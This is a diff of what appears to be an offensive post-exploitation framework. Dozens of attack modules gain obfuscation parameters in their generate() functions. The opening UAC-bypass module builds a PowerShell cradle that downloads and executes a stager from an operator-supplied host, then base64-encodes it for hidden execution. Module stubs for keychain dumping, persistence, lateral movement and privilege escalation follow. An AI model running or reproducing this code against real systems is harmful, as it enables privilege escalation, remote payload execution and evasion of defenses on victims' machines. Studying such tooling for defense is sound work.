'Author': ['@enigma0x3,@424f424f'],
# More verbose multi-line description of the module
'Description': ('Bypass UAC module based on the script released by Matt Nelson @enigma0x3 at Derbycon 2017'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': None,
# True if the module needs admin rights to run
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# The language for this module
'Language': 'powershell',
# The minimum PowerShell version needed for the module to run
'MinLanguageVersion': '2',
# List of any references/other comments
'Comments': [
'comment',
'https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-TokenDuplication.ps1'
]
}
# Any options needed by the module, settable during runtime
self.options = {
'Agent': {
'Description': 'Agent to elevate from.',
'Required' : True,
'Value' : ''
},
'Stager': {
'Description': 'Stager file that you have hosted.',
'Required' : True,
'Value' : 'update.php'
},
'Host': {
'Description': 'Host or IP where stager is served.',
'Required' : True,
'Value' : ''
},
'UserAgent': {
'Description': 'UserAgent for staging process',
'Required' : False,
'Value' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
},
'Port': {
'Description': 'Port to connect to where stager is served',
'Required' : True,
'Value' : ''
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# Save off a copy of the mainMenu object to access external
# functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters are passed as
# an object set to the module and the options dictionary is
# automatically set. This is mostly in case options are passed on
# the command line.
if params:
for param in params:
# Parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
stager = self.options['Stager']['Value']
host = self.options['Host']['Value']
userAgent = self.options['UserAgent']['Value']
port = self.options['Port']['Value']
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-BypassUACTokenManipulation.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# If you'd just like to import a subset of the functions from the
# module source, use the following:
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
script = moduleCode
# Second method: For calling your imported source, or holding your
# inlined script. If you're importing source using the first method,
# ensure that you append to the script variable rather than set.
#
# The script should be stripped of comments, with a link to any
# original reference script included in the comments.
#
# If your script is more than a few lines, it's probably best to use
# the first method to source it.
#
# script += """
try:
blank_command = ""
powershell_command = ""
encodedCradle = ""
cradle = "IEX \"(new-object net.webclient).downloadstring('%s:%s/%s')\"|IEX" % (host,port,stager)
# Remove weird chars that could have been added by ISE
n = re.compile(u'(\xef|\xbb|\xbf)')
# loop through each character and insert null byte
for char in (n.sub("", cradle)):
# insert the nullbyte
blank_command += char + "\x00"
# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
encodedCradle = base64.b64encode(powershell_command)
except Exception as e:
pass
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
scriptEnd = "Invoke-BypassUACTokenManipulation -Arguments \"-w 1 -enc %s\"" % (encodedCradle)
script += scriptEnd
return script

View File

@ -73,7 +73,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
try:
@ -101,5 +101,6 @@ class Module:
script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
script += ';`nInvoke-MS16135 completed.'
if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
return script

View File

@ -1,4 +1,5 @@
from lib.common import helpers
import pdb
class Module:
@ -64,7 +65,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
f = open("/etc/passwd")

View File

@ -69,7 +69,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
logFile = self.options['LogFile']['Value']

View File

@ -64,7 +64,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
from __future__ import print_function

View File

@ -75,7 +75,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
sleep = self.options['Sleep']['Value']
allUsers = self.options['AllUsers']['Value']

View File

@ -93,7 +93,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
savePath = self.options['SavePath']['Value']
inMemory = self.options['InMemory']['Value']

View File

@ -69,7 +69,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
number = self.options['Number']['Value']

View File

@ -74,7 +74,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
outFile = self.options['OutFile']['Value']
monitorTime = self.options['MonitorTime']['Value']

View File

@ -66,7 +66,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
import os

View File

@ -84,7 +84,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
count = self.options['Messages']['Value']
script = "count = " + str(count) + '\n'
if self.options['Debug']['Value']:

View File

@ -68,7 +68,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
import subprocess

View File

@ -74,7 +74,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
keyChain = self.options['KeyChain']['Value']
tempDir = self.options['TempDir']['Value']

View File

@ -82,7 +82,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
keyChain = self.options['KeyChain']['Value']
password = self.options['Password']['Value']

View File

@ -69,7 +69,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
logFile = self.options['LogFile']['Value']

View File

@ -62,7 +62,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
try:

View File

@ -78,7 +78,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
sleep = self.options['Sleep']['Value']
allUsers = self.options['AllUsers']['Value']

View File

@ -82,7 +82,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
listApps = self.options['ListApps']['Value']
appName = self.options['AppName']['Value']

View File

@ -81,7 +81,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
exitCount = self.options['ExitCount']['Value']
verbose = self.options['Verbose']['Value']

View File

@ -67,7 +67,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
savePath = self.options['SavePath']['Value']

View File

@ -71,7 +71,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
searchTerm = self.options['SearchTerm']['Value']

View File

@ -99,7 +99,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = '\n'
for item in self.info['Imports']:
script += "import %s \n" % item

View File

@ -69,7 +69,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
tempDir = self.options['TempDir']['Value']
if not tempDir.endswith("/"):

View File

@ -72,7 +72,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
url = self.options['URL']['Value']
payload = self.options['Payload']['Value']

View File

@ -79,7 +79,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
login = self.options['Login']['Value']
password = self.options['Password']['Value']
command = self.options['Command']['Value']

View File

@ -89,7 +89,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
login = self.options['Login']['Value']
password = self.options['Password']['Value']
listenerName = self.options['Listener']['Value']

View File

@ -80,7 +80,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
keytab = self.options['Keytab']['Value']
principal = self.options['Principal']['Value']
ntlmhash = self.options['Hash']['Value']

View File

@ -77,7 +77,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
module_path = os.path.join(self.mainMenu.installPath,
'data/module_source/python/lateral_movement/socks_source.py')

View File

@ -74,7 +74,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# extract all of our options
listenerName = self.options['Listener']['Value']

View File

@ -1,137 +0,0 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'ls',
# list of one or more authors for the module
'Author': ['@xorrior'],
# more verbose multi-line description of the module
'Description': ('List contents of a directory'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
# no need to base64 return data
'OutputExtension': None,
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': [
'Link:',
'http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run the module.',
'Required' : True,
'Value' : ''
},
'Path': {
'Description' : 'Path. Defaults to the current directory. This module is mainly for organization. The alias \'ls\' can be used at the agent menu.',
'Required' : True,
'Value' : '.'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
filePath = self.options['Path']['Value']
filePath += '/'
script = """
try:
import Foundation
from AppKit import *
import os
import stat
except:
print "A required module is missing.."
def permissions_to_unix_name(st_mode):
permstr = ''
usertypes = ['USR', 'GRP', 'OTH']
for usertype in usertypes:
perm_types = ['R', 'W', 'X']
for permtype in perm_types:
perm = getattr(stat, 'S_I%%s%%s' %% (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
permstr += '-'
return permstr
path = "%s"
dirlist = os.listdir(path)
filemgr = NSFileManager.defaultManager()
directoryListString = "\\t\\towner\\tgroup\\t\\tlast modified\\tsize\\t\\tname\\n"
for item in dirlist:
fullpath = os.path.abspath(os.path.join(path,item))
attrs = filemgr.attributesOfItemAtPath_error_(os.path.abspath(fullpath), None)
name = item
lastModified = str(attrs[0]['NSFileModificationDate'])
group = str(attrs[0]['NSFileGroupOwnerAccountName'])
owner = str(attrs[0]['NSFileOwnerAccountName'])
size = str(os.path.getsize(fullpath))
if int(size) > 1024:
size = int(size) / 1024
size = str(size) + "K"
else:
size += "B"
perms = permissions_to_unix_name(os.stat(fullpath)[0])
listString = perms + " " + owner + "\\t" + group + "\\t\\t" + lastModified.split(" ")[0] + "\\t" + size + "\\t\\t" + name + "\\n"
if os.path.isdir(fullpath):
listString = "d"+listString
else:
listString = "-"+listString
directoryListString += listString
print str(os.getcwd())
print directoryListString
""" % filePath
return script

View File

@ -74,7 +74,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):

View File

@ -79,7 +79,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
processID = self.options['PID']['Value']

View File

@ -82,7 +82,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
Remove = self.options['Remove']['Value']
Hourly = self.options['Hourly']['Value']
Hour = self.options['Hour']['Value']

View File

@ -95,7 +95,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output

View File

@ -76,7 +76,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
plistpath = self.options['PlistPath']['Value']
programpath = self.options['ProgramPath']['Value']

View File

@ -88,7 +88,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
daemonName = self.options['DaemonName']['Value']
programname = self.options['DaemonLocation']['Value']

View File

@ -72,7 +72,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
loginhookScriptPath = self.options['LoginHookScript']['Value']
password = self.options['Password']['Value']

View File

@ -90,7 +90,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
ruleName = self.options['RuleName']['Value']
trigger = self.options['Trigger']['Value']

View File

@ -64,7 +64,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift

View File

@ -84,7 +84,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
ip = self.options['Ip']['Value']
port = self.options['Port']['Value']
serveCount = self.options['ServeCount']['Value']

View File

@ -76,7 +76,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# extract all of our options
listenerName = self.options['Listener']['Value']

View File

@ -84,7 +84,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# extract all of our options
listenerName = self.options['Listener']['Value']

View File

@ -95,7 +95,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output

View File

@ -79,7 +79,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# extract all of our options
listenerName = self.options['Listener']['Value']

View File

@ -71,7 +71,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output

View File

@ -71,7 +71,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output

View File

@ -76,7 +76,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output

View File

@ -75,7 +75,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
script = ''
if self.options['Debug']['Value']:
debug = self.options['Debug']['Value']

View File

@ -68,7 +68,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
group = self.options['Group']['Value']
# the Python script itself, with the command to invoke

View File

@ -68,7 +68,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
domain = self.options['Domain']['Value']
# the Python script itself, with the command to invoke

View File

@ -68,7 +68,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
domain = self.options['Domain']['Value']
# the Python script itself, with the command to invoke

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -86,7 +86,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -86,7 +86,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -86,7 +86,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -80,7 +80,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
LDAPAddress = self.options['LDAPAddress']['Value']
BindDN = self.options['BindDN']['Value']

View File

@ -118,7 +118,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
name = self.options['Name']['Value']

View File

@ -83,7 +83,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
name = self.options['Name']['Value']

View File

@ -82,7 +82,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
name = self.options['Name']['Value']

View File

@ -83,7 +83,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
#port = self.options['Port']['Value']
#print str("port: " + port)

View File

@ -112,7 +112,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
appId = self.options['ID']['Value']

View File

@ -82,7 +82,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
appId = self.options['ID']['Value']

View File

@ -83,7 +83,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']
port = self.options['Port']['Value']
ssl = self.options['SSL']['Value']

View File

@ -70,7 +70,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
target = self.options['Target']['Value']

View File

@ -95,7 +95,7 @@ class Module:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
protocol = self.options['Protocol']['Value']
target = self.options['Target']['Value']
port = self.options['Port']['Value']

Some files were not shown because too many files have changed in this diff Show More